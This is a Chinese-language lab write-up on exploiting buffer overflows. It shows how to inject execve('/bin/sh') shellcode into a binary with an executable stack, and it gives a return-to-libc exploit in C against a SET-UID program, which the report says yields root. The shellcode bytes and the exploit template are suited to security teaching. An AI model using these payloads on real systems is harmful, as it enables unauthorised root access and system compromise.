注入shellcode并执行
一、准备一段shellcode
二、设置环境
具体在终端中输入如下：
apt-cache search execstack
apt-get install execstack
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
三、构造要注入的payload
1.Linux下有两种基本构造攻击buf的方法：
//缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
1.retaddr+nop+shellcode
2.nop+shellcode+retaddr
2、在终端中输入如下：
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
3、打开一个新的终端窗口注入这段攻击buf
4、在另一个终端通过gdb调试确定返回地址
5.通过如下方式寻找需要输入的地址：
6.回到另一个终端，将input_shellcode修改如下：
成功了！
Retuen-to-libc实验
一、配置实验环境
2.关闭地址随机化：
二、漏洞程序
1.将漏洞程序保存在/tmp目录下，编译该程序，并设置SET-UID：
2.我们还需要用到一个读取环境变量的程序：
三、攻击程序
1.把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下
include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
2.用刚才的getenvaddr程序获得BIN_SH地址:
3.利用gdb获得system和exit地址：
4.将找到的三个内存地址填写在exploit.c中：
5.删除刚才调试编译的exploit程序和badfile文件，重新编译修改后的exploit.c：
6.先运行攻击程序exploit，再运行漏洞程序retlib，攻击成功，获得了root权限：